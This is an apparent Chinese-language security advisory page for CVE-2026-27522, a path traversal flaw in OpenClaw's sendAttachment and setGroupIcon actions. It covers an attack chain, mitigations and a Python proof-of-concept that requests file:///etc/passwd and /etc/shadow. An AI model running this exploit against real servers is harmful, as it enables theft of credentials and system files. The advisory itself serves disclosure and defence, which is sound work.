IPBUF安全漏洞报告
English
CVE-2026-27522 CVSS 6.5 中危

CVE-2026-27522 OpenClaw本地文件读取漏洞(媒体根绕过)

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27522
漏洞类型
路径遍历/本地文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

CVE-2026-27522路径遍历本地文件读取媒体根绕过OpenClaw信息泄露sendAttachmentsetGroupIcon沙箱绕过

漏洞概述

CVE-2026-27522是OpenClaw软件中的一个本地文件读取漏洞。该漏洞存在于sendAttachment和setGroupIcon消息操作中,当sandboxRoot配置未设置时,攻击者可以通过构造特殊的请求从本地绝对路径获取媒体资源,从而读取运行用户可访问的任意主机文件。此漏洞的CVSS评分为6.5,属于中危级别。攻击者利用该漏洞可以在无需高权限的情况下(低权限即可),通过网络攻击向量(AV:N)读取目标系统上的敏感文件,包括配置文件、密钥、凭证等机密信息,对系统机密性造成严重影响。由于该漏洞无需用户交互,攻击具有较高的隐蔽性和自动化可行性。漏洞已于2026年2月24日修复,建议用户及时升级到最新版本以消除安全风险。

技术细节

该漏洞的根本原因在于OpenClaw的消息处理模块在处理sendAttachment和setGroupIcon操作时,未正确验证用户提供的文件路径。当sandboxRoot参数未配置时,系统允许从任意绝对路径加载媒体文件,缺少了预期的安全沙箱限制。攻击者可以通过以下方式利用:1) 构造包含本地绝对路径的请求,如file:///etc/passwd或C:\Windows\win.ini;2) 在sendAttachment或setGroupIcon消息中指定该路径作为媒体源;3) 系统在处理该请求时,会直接读取指定路径的文件内容并返回给攻击者。由于漏洞存在于消息处理流程中,攻击者只需获得低权限账户即可发起攻击,无需特殊权限或管理员权限。CVSS向量显示该漏洞主要影响机密性(C:H),对完整性和可用性无影响(I:N/A:N),这符合本地文件读取漏洞的特征——主要风险是信息泄露而非数据篡改或服务中断。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标系统运行的OpenClaw版本,确认版本低于2026.2.24以确定漏洞存在性
STEP 2
获取低权限访问
攻击者获取OpenClaw系统的低权限用户账户令牌(通过正常注册或已泄露的凭证)
STEP 3
构造恶意请求
攻击者构造包含本地绝对路径的sendAttachment或setGroupIcon请求,如指定file:///etc/passwd或C:\Windows\win.ini作为媒体源
STEP 4
绕过沙箱限制
由于sandboxRoot未配置,系统直接处理包含绝对路径的请求,跳过了预期的安全路径限制检查
STEP 5
文件读取与泄露
服务器读取攻击者指定的本地文件内容,并将文件数据通过API响应返回给攻击者
STEP 6
横向移动或数据利用
攻击者利用获取的敏感信息(如配置文件、密钥、凭证)进行进一步攻击或数据售卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-27522 PoC - OpenClaw Local File Read via media root bypass # Target: OpenClaw < 2026.2.24 TARGET_URL = "http://target-server:8080/api" ATTACKER_TOKEN = "low_privilege_user_token" def exploit_file_read(file_path): """ Exploit sendAttachment action to read local files file_path: Absolute path to read (e.g., /etc/passwd, C:\\Windows\\win.ini) """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Method 1: sendAttachment action payload = { "action": "sendAttachment", "chat_id": "victim_chat", "file_path": file_path, # e.g., "file:///etc/passwd" "filename": "malicious_file" } response = requests.post(TARGET_URL, json=payload, headers=headers) return response.text def exploit_setgroupicon(file_path): """ Exploit setGroupIcon action to read local files file_path: Absolute path to read """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "action": "setGroupIcon", "group_id": "target_group", "icon_path": file_path # e.g., "file:///etc/shadow" } response = requests.post(TARGET_URL, json=payload, headers=headers) return response.text # Example usage if __name__ == "__main__": # Read /etc/passwd on Linux print("[*] Attempting to read /etc/passwd...") result = exploit_file_read("file:///etc/passwd") print(result) # Read shadow file (if permissions allow) print("[*] Attempting to read /etc/shadow...") result = exploit_file_read("file:///etc/shadow") print(result)

影响范围

OpenClaw < 2026.2.24

防御指南

临时缓解措施
在等待官方修复期间,可通过以下措施临时缓解风险:1) 立即在OpenClaw配置中设置sandboxRoot参数,限制媒体文件只能从特定的安全目录读取;2) 在Web应用防火墙或API网关层面添加规则,阻止包含file://协议或绝对路径的请求参数;3) 限制低权限用户对sendAttachment和setGroupIcon操作的访问权限;4) 加强日志监控,及时发现异常的文件读取请求模式;5) 考虑临时禁用相关消息功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表